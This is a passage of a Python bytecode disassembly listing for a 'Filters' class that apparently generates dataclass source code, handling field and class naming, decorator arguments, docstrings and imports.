0x7fab821a15d0, file "f.py", line 67> LOAD_CONST 'Filters.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME Environment LOAD_CONST ('env',) BUILD_CONST_KEY_MAP LOAD_CONST <code object register at 0x7fab540c5420, file "f.py", line 118> LOAD_CONST 'Filters.register' MAKE_FUNCTION STORE_NAME register LOAD_NAME classmethod LOAD_NAME OutputFormat LOAD_NAME str LOAD_CONST ('fmt', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object build_class_annotation at 0x7fab8203ab70, file "f.py", line 151> LOAD_CONST 'Filters.build_class_annotation' MAKE_FUNCTION CALL_FUNCTION STORE_NAME build_class_annotation LOAD_NAME Class LOAD_NAME Iterator LOAD_NAME Tuple LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('obj', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object class_params at 0x7fab8203a780, file "f.py", line 172> LOAD_CONST 'Filters.class_params' MAKE_FUNCTION STORE_NAME class_params LOAD_NAME str LOAD_NAME str LOAD_CONST ('name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object class_name at 0x7fab8203a1e0, file "f.py", line 183> LOAD_CONST 'Filters.class_name' MAKE_FUNCTION STORE_NAME class_name LOAD_NAME Class LOAD_NAME str LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('obj', 'class_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object class_bases at 0x7fab82097150, file "f.py", line 201> LOAD_CONST 'Filters.class_bases' MAKE_FUNCTION STORE_NAME class_bases LOAD_NAME Class LOAD_NAME str LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('obj', 'class_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object class_annotations at 0x7fab82097270, file "f.py", line 218> LOAD_CONST 'Filters.class_annotations' MAKE_FUNCTION STORE_NAME class_annotations LOAD_NAME str LOAD_NAME ObjectType LOAD_NAME str LOAD_CONST ('name', 'obj_type', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object apply_substitutions at 0x7fab41c96c00, file "f.py", line 235> LOAD_CONST 'Filters.apply_substitutions' MAKE_FUNCTION STORE_NAME apply_substitutions LOAD_NAME Attr LOAD_NAME Dict LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_NAME str LOAD_CONST ('attr', 'ns_map', 'parent_namespace', 'parents', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object field_definition at 0x7fab41c968a0, file "f.py", line 242> LOAD_CONST 'Filters.field_definition' MAKE_FUNCTION STORE_NAME field_definition LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_CONST ('name', 'class_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object field_name at 0x7fab41c96a50, file "f.py", line 266> LOAD_CONST 'Filters.field_name' MAKE_FUNCTION STORE_NAME field_name LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_CONST ('name', 'class_name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object constant_name at 0x7fab41c96390, file "f.py", line 286> LOAD_CONST 'Filters.constant_name' MAKE_FUNCTION STORE_NAME constant_name LOAD_NAME str LOAD_NAME str LOAD_CONST ('name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object module_name at 0x7fab41c96c90, file "f.py", line 306> LOAD_CONST 'Filters.module_name' MAKE_FUNCTION STORE_NAME module_name LOAD_NAME str LOAD_NAME str LOAD_CONST ('name', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object package_name at 0x7fab41c96540, file "f.py", line 325> LOAD_CONST 'Filters.package_name' MAKE_FUNCTION STORE_NAME package_name LOAD_NAME AttrType LOAD_NAME str LOAD_CONST ('attr_type', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object type_name at 0x7fab41c96270, file "f.py", line 353> LOAD_CONST 'Filters.type_name' MAKE_FUNCTION STORE_NAME type_name LOAD_NAME str LOAD_NAME str LOAD_NAME Callable LOAD_NAME Any LOAD_NAME str LOAD_CONST ('name', 'prefix', 'name_case', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object safe_name at 0x7fab41c965d0, file "f.py", line 368> LOAD_CONST 'Filters.safe_name' MAKE_FUNCTION STORE_NAME safe_name LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'from_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object import_module at 0x7fab41c96810, file "f.py", line 392> LOAD_CONST 'Filters.import_module' MAKE_FUNCTION STORE_NAME import_module LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME str LOAD_CONST ('name', 'alias', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object import_class at 0x7fab41c96660, file "f.py", line 407> LOAD_CONST 'Filters.import_class' MAKE_FUNCTION STORE_NAME import_class LOAD_NAME Class LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('obj', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object post_meta_hook at 0x7fab41c96150, file "f.py", line 414> LOAD_CONST 'Filters.post_meta_hook' MAKE_FUNCTION STORE_NAME post_meta_hook LOAD_NAME Attr LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_NAME Dict LOAD_CONST ('attr', 'parent_namespace', 'parents', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object field_metadata at 0x7fab41c966f0, file "f.py", line 418> LOAD_CONST 'Filters.field_metadata' MAKE_FUNCTION STORE_NAME field_metadata LOAD_NAME Attr LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Tuple BINARY_SUBSCR LOAD_CONST ('attr', 'parent_namespace', 'parents', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object field_choices at 0x7fab41c969c0, file "f.py", line 454> LOAD_CONST 'Filters.field_choices' MAKE_FUNCTION STORE_NAME field_choices LOAD_NAME classmethod LOAD_NAME Dict LOAD_NAME Dict LOAD_CONST ('data', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object filter_metadata at 0x7fab41c96b70, file "f.py", line 490> LOAD_CONST 'Filters.filter_metadata' MAKE_FUNCTION CALL_FUNCTION STORE_NAME filter_metadata LOAD_CONST (0,) LOAD_NAME Dict LOAD_NAME int LOAD_NAME str LOAD_CONST ('data', 'indent', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object format_arguments at 0x7fab82360420, file "f.py", line 499> LOAD_CONST 'Filters.format_arguments' MAKE_FUNCTION STORE_NAME format_arguments LOAD_CONST (0, '') LOAD_NAME Any LOAD_NAME int LOAD_NAME str LOAD_NAME str LOAD_CONST ('data', 'indent', 'key', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object format_metadata at 0x7fab82360e40, file "f.py", line 510> LOAD_CONST 'Filters.format_metadata' MAKE_FUNCTION STORE_NAME format_metadata LOAD_NAME Dict LOAD_NAME int LOAD_NAME str LOAD_CONST ('data', 'indent', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object format_dict at 0x7faa7c009ae0, file "f.py", line 523> LOAD_CONST 'Filters.format_dict' MAKE_FUNCTION STORE_NAME format_dict LOAD_NAME Iterable LOAD_NAME int LOAD_NAME str LOAD_CONST ('data', 'indent', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object format_iterable at 0x7faa7c009810, file "f.py", line 534> LOAD_CONST 'Filters.format_iterable' MAKE_FUNCTION STORE_NAME format_iterable LOAD_CONST ('', 0) LOAD_NAME str LOAD_NAME int LOAD_NAME str LOAD_NAME int LOAD_NAME str LOAD_CONST ('data', 'indent', 'key', 'pad', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object format_string at 0x7faa7c009390, file "f.py", line 544> LOAD_CONST 'Filters.format_string' MAKE_FUNCTION STORE_NAME format_string LOAD_CONST (0, ' ') LOAD_NAME str LOAD_NAME int LOAD_NAME str LOAD_NAME str LOAD_CONST ('string', 'offset', 'subsequent_indent', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object text_wrap at 0x7faa7c009c00, file "f.py", line 590> LOAD_CONST 'Filters.text_wrap' MAKE_FUNCTION STORE_NAME text_wrap LOAD_NAME classmethod LOAD_CONST (True,) LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_NAME str LOAD_CONST ('string', 'escape', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object clean_docstring at 0x7faa7c009930, file "f.py", line 605> LOAD_CONST 'Filters.clean_docstring' MAKE_FUNCTION CALL_FUNCTION STORE_NAME clean_docstring LOAD_NAME str LOAD_NAME int LOAD_NAME str LOAD_CONST ('doc_string', 'level', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object format_docstring at 0x7faa7c009f60, file "f.py", line 632> LOAD_CONST 'Filters.format_docstring' MAKE_FUNCTION STORE_NAME format_docstring LOAD_CONST (None,) LOAD_NAME Attr LOAD_NAME Optional LOAD_NAME Dict BINARY_SUBSCR LOAD_NAME Any LOAD_CONST ('attr', 'ns_map', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object field_default_value at 0x7faa7c0098a0, file "f.py", line 672> LOAD_CONST 'Filters.field_default_value' MAKE_FUNCTION STORE_NAME field_default_value LOAD_NAME Attr LOAD_NAME str LOAD_CONST ('attr', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object field_default_enum at 0x7faa7c009420, file "f.py", line 696> LOAD_CONST 'Filters.field_default_enum' MAKE_FUNCTION STORE_NAME field_default_enum LOAD_NAME Attr LOAD_NAME List LOAD_NAME Type BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Dict BINARY_SUBSCR LOAD_NAME str LOAD_CONST ('attr', 'types', 'ns_map', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object field_default_tokens at 0x7faa7c009300, file "f.py", line 714> LOAD_CONST 'Filters.field_default_tokens' MAKE_FUNCTION STORE_NAME field_default_tokens LOAD_NAME Attr LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_NAME str LOAD_CONST ('attr', 'parents', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object field_type at 0x7faa7c009030, file "f.py", line 732> LOAD_CONST 'Filters.field_type' MAKE_FUNCTION STORE_NAME field_type LOAD_NAME Attr LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_NAME str LOAD_CONST ('choice', 'parents', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object choice_type at 0x7fab80138e40, file "f.py", line 759> LOAD_CONST 'Filters.choice_type' MAKE_FUNCTION STORE_NAME choice_type LOAD_CONST (False,) LOAD_NAME Attr LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_NAME str LOAD_CONST ('attr', 'parents', 'choice', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _field_type_names at 0x7fab80138660, file "f.py", line 787> LOAD_CONST 'Filters._field_type_names' MAKE_FUNCTION STORE_NAME _field_type_names LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_NAME str LOAD_CONST ('type_names', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _join_type_names at 0x7fab80138c90, file "f.py", line 798> LOAD_CONST 'Filters._join_type_names' MAKE_FUNCTION STORE_NAME _join_type_names LOAD_CONST (False,) LOAD_NAME AttrType LOAD_NAME List LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_NAME str LOAD_CONST ('attr_type', 'parents', 'choice', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _field_type_name at 0x7fab80138db0, file "f.py", line 808> LOAD_CONST 'Filters._field_type_name' MAKE_FUNCTION STORE_NAME _field_type_name LOAD_NAME Attr LOAD_NAME str LOAD_CONST ('attr', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object constant_value at 0x7fab80138030, file "f.py", line 827> LOAD_CONST 'Filters.constant_value' MAKE_FUNCTION STORE_NAME constant_value LOAD_NAME str LOAD_NAME str LOAD_CONST ('output', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object default_imports at 0x7fab801384b0, file "f.py", line 838> LOAD_CONST 'Filters.default_imports' MAKE_FUNCTION STORE_NAME default_imports LOAD_CONST <code object _get_iterable_format at 0x7fab80138d20, file "f.py", line 860> LOAD_CONST 'Filters._get_iterable_format' MAKE_FUNCTION STORE_NAME _get_iterable_format LOAD_NAME classmethod LOAD_NAME Dict LOAD_NAME str LOAD_NAME Dict BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object build_import_patterns at 0x7fab80138420, file "f.py", line 864> LOAD_CONST 'Filters.build_import_patterns' MAKE_FUNCTION CALL_FUNCTION STORE_NAME build_import_patterns LOAD_NAME classmethod LOAD_NAME str LOAD_NAME Tuple LOAD_CONST ('x', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object build_type_patterns at 0x7fab80138780, file "f.py", line 891> LOAD_CONST 'Filters.build_type_patterns' MAKE_FUNCTION CALL_FUNCTION STORE_NAME build_type_patterns LOAD_CONST None RETURN_VALUE LOAD_GLOBAL defaultdict LOAD_GLOBAL dict CALL_FUNCTION LOAD_FAST self STORE_ATTR substitutions SETUP_LOOP to 48 LOAD_FAST config LOAD_ATTR substitutions LOAD_ATTR substitution GET_ITER FOR_ITER to 46 STORE_FAST sub LOAD_FAST sub LOAD_ATTR replace LOAD_FAST self LOAD_ATTR substitutions LOAD_FAST sub LOAD_ATTR type BINARY_SUBSCR LOAD_FAST sub LOAD_ATTR search STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL defaultdict LOAD_CONST <code object <lambda> at 0x7fab821a1420, file "f.py", line 73> LOAD_CONST 'Filters.__init__.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION LOAD_FAST self STORE_ATTR import_patterns LOAD_GLOBAL defaultdict LOAD_GLOBAL list CALL_FUNCTION LOAD_FAST self STORE_ATTR extensions SETUP_LOOP to 194 LOAD_FAST config LOAD_ATTR extensions LOAD_ATTR extension GET_ITER FOR_ITER to 192 STORE_FAST ext LOAD_FAST self LOAD_ATTR extensions LOAD_FAST ext LOAD_ATTR type BINARY_SUBSCR LOAD_METHOD append LOAD_FAST ext CALL_METHOD POP_TOP LOAD_FAST ext LOAD_ATTR type LOAD_GLOBAL ExtensionType LOAD_ATTR DECORATOR COMPARE_OP is STORE_FAST is_annotation LOAD_FAST self LOAD_ATTR import_patterns LOAD_FAST ext LOAD_ATTR module_path BINARY_SUBSCR LOAD_FAST ext LOAD_ATTR func_name BINARY_SUBSCR STORE_FAST patterns LOAD_FAST is_annotation POP_JUMP_IF_FALSE LOAD_FAST patterns LOAD_METHOD add LOAD_CONST '@' LOAD_FAST ext LOAD_ATTR func_name FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST patterns LOAD_METHOD update LOAD_CONST '(' LOAD_FAST ext LOAD_ATTR func_name FORMAT_VALUE BUILD_STRING LOAD_CONST ' ' LOAD_FAST ext LOAD_ATTR func_name FORMAT_VALUE LOAD_CONST ')' BUILD_STRING BUILD_LIST CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST config LOAD_ATTR conventions LOAD_ATTR class_name LOAD_ATTR case LOAD_FAST self STORE_ATTR class_case LOAD_FAST config LOAD_ATTR conventions LOAD_ATTR field_name LOAD_ATTR case LOAD_FAST self STORE_ATTR field_case LOAD_FAST config LOAD_ATTR conventions LOAD_ATTR constant_name LOAD_ATTR case LOAD_FAST self STORE_ATTR constant_case LOAD_FAST config LOAD_ATTR conventions LOAD_ATTR package_name LOAD_ATTR case LOAD_FAST self STORE_ATTR package_case LOAD_FAST config LOAD_ATTR conventions LOAD_ATTR module_name LOAD_ATTR case LOAD_FAST self STORE_ATTR module_case LOAD_FAST config LOAD_ATTR conventions LOAD_ATTR class_name LOAD_ATTR safe_prefix LOAD_FAST self STORE_ATTR class_safe_prefix LOAD_FAST config LOAD_ATTR conventions LOAD_ATTR field_name LOAD_ATTR safe_prefix LOAD_FAST self STORE_ATTR field_safe_prefix LOAD_FAST config LOAD_ATTR conventions LOAD_ATTR constant_name LOAD_ATTR safe_prefix LOAD_FAST self STORE_ATTR constant_safe_prefix LOAD_FAST config LOAD_ATTR conventions LOAD_ATTR package_name LOAD_ATTR safe_prefix LOAD_FAST self STORE_ATTR package_safe_prefix LOAD_FAST config LOAD_ATTR conventions LOAD_ATTR module_name LOAD_ATTR safe_prefix LOAD_FAST self STORE_ATTR module_safe_prefix LOAD_FAST config LOAD_ATTR output LOAD_ATTR docstring_style LOAD_FAST self STORE_ATTR docstring_style LOAD_FAST config LOAD_ATTR output LOAD_ATTR max_line_length LOAD_FAST self STORE_ATTR max_line_length LOAD_FAST config LOAD_ATTR output LOAD_ATTR union_type LOAD_FAST self STORE_ATTR union_type LOAD_FAST config LOAD_ATTR output LOAD_ATTR subscriptable_types LOAD_FAST self STORE_ATTR subscriptable_types LOAD_FAST config LOAD_ATTR output LOAD_ATTR relative_imports LOAD_FAST self STORE_ATTR relative_imports LOAD_FAST config LOAD_ATTR output LOAD_ATTR postponed_annotations LOAD_FAST self STORE_ATTR postponed_annotations LOAD_FAST config LOAD_ATTR output LOAD_ATTR format LOAD_FAST self STORE_ATTR format SETUP_LOOP to 456 LOAD_FAST self LOAD_METHOD build_import_patterns CALL_METHOD LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 454 UNPACK_SEQUENCE STORE_FAST module STORE_FAST imports SETUP_LOOP to 450 LOAD_FAST imports LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 448 UNPACK_SEQUENCE STORE_FAST imp STORE_FAST patterns LOAD_FAST self LOAD_ATTR import_patterns LOAD_FAST module BINARY_SUBSCR LOAD_FAST imp BINARY_SUBSCR LOAD_METHOD update LOAD_FAST patterns CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD build_class_annotation LOAD_FAST self LOAD_ATTR format CALL_METHOD LOAD_FAST self STORE_ATTR default_class_annotation LOAD_CONST None RETURN_VALUE LOAD_GLOBAL defaultdict LOAD_GLOBAL set CALL_FUNCTION RETURN_VALUE LOAD_FAST env LOAD_ATTR globals LOAD_METHOD update LOAD_CONST 'docstring_name' LOAD_FAST self LOAD_ATTR docstring_style LOAD_ATTR name LOAD_METHOD lower CALL_METHOD BUILD_MAP CALL_METHOD POP_TOP LOAD_FAST env LOAD_ATTR filters LOAD_METHOD update LOAD_FAST self LOAD_ATTR field_name LOAD_FAST self LOAD_ATTR field_type LOAD_FAST self LOAD_ATTR field_default_value LOAD_FAST self LOAD_ATTR field_metadata LOAD_FAST self LOAD_ATTR field_definition LOAD_FAST self LOAD_ATTR class_name LOAD_FAST self LOAD_ATTR class_bases LOAD_FAST self LOAD_ATTR class_annotations LOAD_FAST self LOAD_ATTR class_params LOAD_FAST self LOAD_ATTR format_string LOAD_FAST self LOAD_ATTR format_docstring LOAD_FAST self LOAD_ATTR constant_name LOAD_FAST self LOAD_ATTR constant_value LOAD_FAST self LOAD_ATTR default_imports LOAD_FAST self LOAD_ATTR format_metadata LOAD_FAST self LOAD_ATTR type_name LOAD_FAST self LOAD_ATTR text_wrap LOAD_FAST self LOAD_ATTR clean_docstring LOAD_FAST self LOAD_ATTR import_module LOAD_FAST self LOAD_ATTR import_class LOAD_FAST self LOAD_ATTR post_meta_hook LOAD_CONST ('field_name', 'field_type', 'field_default', 'field_metadata', 'field_definition', 'class_name', 'class_bases', 'class_annotations', 'class_params', 'format_string', 'format_docstring', 'constant_name', 'constant_value', 'default_imports', 'format_metadata', 'type_name', 'text_wrap', 'clean_docstring', 'import_module', 'import_class', 'post_meta_hook') BUILD_CONST_KEY_MAP CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST args LOAD_FAST fmt LOAD_ATTR repr POP_JUMP_IF_TRUE LOAD_FAST args LOAD_METHOD append LOAD_CONST 'repr=False' CALL_METHOD POP_TOP LOAD_FAST fmt LOAD_ATTR eq POP_JUMP_IF_TRUE LOAD_FAST args LOAD_METHOD append LOAD_CONST 'eq=False' CALL_METHOD POP_TOP LOAD_FAST fmt LOAD_ATTR order POP_JUMP_IF_FALSE LOAD_FAST args LOAD_METHOD append LOAD_CONST 'order=True' CALL_METHOD POP_TOP LOAD_FAST fmt LOAD_ATTR unsafe_hash POP_JUMP_IF_FALSE LOAD_FAST args LOAD_METHOD append LOAD_CONST 'unsafe_hash=True' CALL_METHOD POP_TOP LOAD_FAST fmt LOAD_ATTR frozen POP_JUMP_IF_FALSE LOAD_FAST args LOAD_METHOD append LOAD_CONST 'frozen=True' CALL_METHOD POP_TOP LOAD_FAST fmt LOAD_ATTR slots POP_JUMP_IF_FALSE LOAD_FAST args LOAD_METHOD append LOAD_CONST 'slots=True' CALL_METHOD POP_TOP LOAD_FAST fmt LOAD_ATTR kw_only POP_JUMP_IF_FALSE LOAD_FAST args LOAD_METHOD append LOAD_CONST 'kw_only=True' CALL_METHOD POP_TOP LOAD_FAST args POP_JUMP_IF_FALSE LOAD_CONST '@dataclass(' LOAD_CONST ', ' LOAD_METHOD join LOAD_FAST args CALL_METHOD FORMAT_VALUE LOAD_CONST ')' BUILD_STRING RETURN_VALUE LOAD_CONST '@dataclass' RETURN_VALUE LOAD_FAST obj LOAD_ATTR is_enumeration STORE_FAST is_enum SETUP_LOOP to 86 LOAD_FAST obj LOAD_ATTR attrs GET_ITER FOR_ITER to 84 STORE_FAST attr LOAD_FAST attr LOAD_ATTR name STORE_FAST name LOAD_FAST self LOAD_METHOD clean_docstring LOAD_FAST attr LOAD_ATTR help CALL_METHOD STORE_FAST docstring LOAD_FAST is_enum POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD constant_name LOAD_FAST name LOAD_FAST obj LOAD_ATTR name CALL_METHOD LOAD_FAST docstring BUILD_TUPLE YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_FAST self LOAD_METHOD field_name LOAD_FAST name LOAD_FAST obj LOAD_ATTR name CALL_METHOD LOAD_FAST docstring BUILD_TUPLE YIELD_VALUE POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD apply_substitutions LOAD_FAST name LOAD_GLOBAL ObjectType LOAD_ATTR CLASS CALL_METHOD STORE_FAST name LOAD_FAST self LOAD_METHOD safe_name LOAD_FAST name LOAD_FAST self LOAD_ATTR class_safe_prefix LOAD_FAST self LOAD_ATTR class_case CALL_METHOD STORE_FAST name LOAD_FAST self LOAD_METHOD apply_substitutions LOAD_FAST name LOAD_GLOBAL ObjectType LOAD_ATTR CLASS CALL_METHOD RETURN_VALUE BUILD_LIST STORE_FAST bases SETUP_LOOP to 38 LOAD_FAST obj LOAD_ATTR extensions GET_ITER FOR_ITER to 36 STORE_FAST obj_ext LOAD_FAST bases LOAD_METHOD append LOAD_FAST self LOAD_METHOD type_name LOAD_FAST obj_ext LOAD_ATTR type CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST obj LOAD_ATTR extensions CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > STORE_FAST derived SETUP_LOOP to 136 LOAD_FAST self LOAD_ATTR extensions LOAD_GLOBAL ExtensionType LOAD_ATTR CLASS BINARY_SUBSCR GET_ITER FOR_ITER to 134 STORE_FAST ext LOAD_FAST derived UNARY_NOT JUMP_IF_TRUE_OR_POP LOAD_FAST ext LOAD_ATTR apply_if_derived STORE_FAST is_valid LOAD_FAST is_valid POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR pattern LOAD_METHOD match LOAD_FAST class_name CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR prepend POP_JUMP_IF_FALSE LOAD_FAST bases LOAD_METHOD insert LOAD_CONST 0 LOAD_FAST ext LOAD_ATTR func_name CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST bases LOAD_METHOD append LOAD_FAST ext LOAD_ATTR func_name CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL collections LOAD_METHOD unique_sequence LOAD_FAST bases CALL_METHOD RETURN_VALUE BUILD_LIST STORE_FAST annotations LOAD_FAST self LOAD_ATTR default_class_annotation POP_JUMP_IF_FALSE LOAD_FAST annotations LOAD_METHOD append LOAD_FAST self LOAD_ATTR default_class_annotation CALL_METHOD POP_TOP LOAD_GLOBAL len LOAD_FAST obj LOAD_ATTR extensions CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > STORE_FAST derived SETUP_LOOP to 132 LOAD_FAST self LOAD_ATTR extensions LOAD_GLOBAL ExtensionType LOAD_ATTR DECORATOR BINARY_SUBSCR GET_ITER FOR_ITER to 130 STORE_FAST ext LOAD_FAST derived UNARY_NOT JUMP_IF_TRUE_OR_POP LOAD_FAST ext LOAD_ATTR apply_if_derived STORE_FAST is_valid LOAD_FAST is_valid POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR pattern LOAD_METHOD match LOAD_FAST class_name CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST ext LOAD_ATTR prepend POP_JUMP_IF_FALSE LOAD_FAST annotations LOAD_METHOD insert LOAD_CONST 0 LOAD_CONST '@' LOAD_FAST ext LOAD_ATTR func_name FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST annotations LOAD_METHOD append LOAD_CONST '@' LOAD_FAST ext LOAD_ATTR func_name FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL collections LOAD_METHOD unique_sequence LOAD_FAST annotations CALL_METHOD RETURN_VALUE SETUP_LOOP to 46 LOAD_FAST self LOAD_ATTR substitutions LOAD_FAST obj_type BINARY_SUBSCR LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 44 UNPACK_SEQUENCE STORE_FAST search STORE_FAST replace LOAD_GLOBAL re LOAD_METHOD sub LOAD_FAST search FORMAT_VALUE LOAD_FAST replace FORMAT_VALUE LOAD_FAST name CALL_METHOD STORE_FAST name JUMP_ABSOLUTE POP_BLOCK LOAD_FAST name RETURN_VALUE LOAD_FAST self LOAD_METHOD field_default_value LOAD_FAST attr LOAD_FAST ns_map CALL_METHOD STORE_FAST default_value LOAD_FAST self LOAD_METHOD field_metadata LOAD_FAST attr LOAD_FAST parent_namespace LOAD_FAST parents CALL_METHOD STORE_FAST metadata BUILD_MAP STORE_FAST kwargs LOAD_FAST attr LOAD_ATTR fixed POP_JUMP_IF_TRUE LOAD_FAST attr LOAD_ATTR is_prohibited POP_JUMP_IF_FALSE LOAD_CONST False LOAD_FAST kwargs LOAD_CONST 'init' STORE_SUBSCR LOAD_FAST default_value LOAD_CONST False COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST attr LOAD_ATTR is_prohibited POP_JUMP_IF_TRUE LOAD_FAST attr LOAD_ATTR is_factory POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR FACTORY_KEY JUMP_FORWARD to 80 LOAD_FAST self LOAD_ATTR DEFAULT_KEY STORE_FAST key LOAD_FAST default_value LOAD_FAST kwargs LOAD_FAST key STORE_SUBSCR LOAD_FAST metadata POP_JUMP_IF_FALSE LOAD_FAST metadata LOAD_FAST kwargs LOAD_CONST 'metadata' STORE_SUBSCR LOAD_CONST 'field(' LOAD_FAST self LOAD_METHOD format_arguments LOAD_FAST kwargs LOAD_CONST 4 CALL_METHOD FORMAT_VALUE LOAD_CONST ')' BUILD_STRING RETURN_VALUE LOAD_FAST self LOAD_ATTR field_safe_prefix STORE_FAST prefix LOAD_FAST self LOAD_METHOD apply_substitutions LOAD_FAST name LOAD_GLOBAL ObjectType LOAD_ATTR FIELD CALL_METHOD STORE_FAST name LOAD_FAST self LOAD_ATTR safe_name LOAD_FAST name LOAD_FAST prefix LOAD_FAST self LOAD_ATTR field_case LOAD_FAST class_name LOAD_CONST ('class_name',) CALL_FUNCTION STORE_FAST name LOAD_FAST self LOAD_METHOD apply_substitutions LOAD_FAST name LOAD_GLOBAL ObjectType LOAD_ATTR FIELD CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR field_safe_prefix STORE_FAST prefix LOAD_FAST self LOAD_METHOD apply_substitutions LOAD_FAST name LOAD_GLOBAL ObjectType LOAD_ATTR FIELD CALL_METHOD STORE_FAST name LOAD_FAST self LOAD_ATTR safe_name LOAD_FAST name LOAD_FAST prefix LOAD_FAST self LOAD_ATTR constant_case LOAD_FAST class_name LOAD_CONST ('class_name',) CALL_FUNCTION STORE_FAST name LOAD_FAST self LOAD_METHOD apply_substitutions LOAD_FAST name LOAD_GLOBAL ObjectType LOAD_ATTR FIELD CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR module_safe_prefix STORE_FAST prefix LOAD_FAST self LOAD_METHOD apply_substitutions LOAD_FAST name LOAD_GLOBAL ObjectType LOAD_ATTR MODULE CALL_METHOD STORE_FAST name LOAD_FAST self LOAD_METHOD safe_name LOAD_GLOBAL namespaces LOAD_METHOD clean_uri LOAD_FAST name CALL_METHOD LOAD_FAST prefix LOAD_FAST self LOAD_ATTR 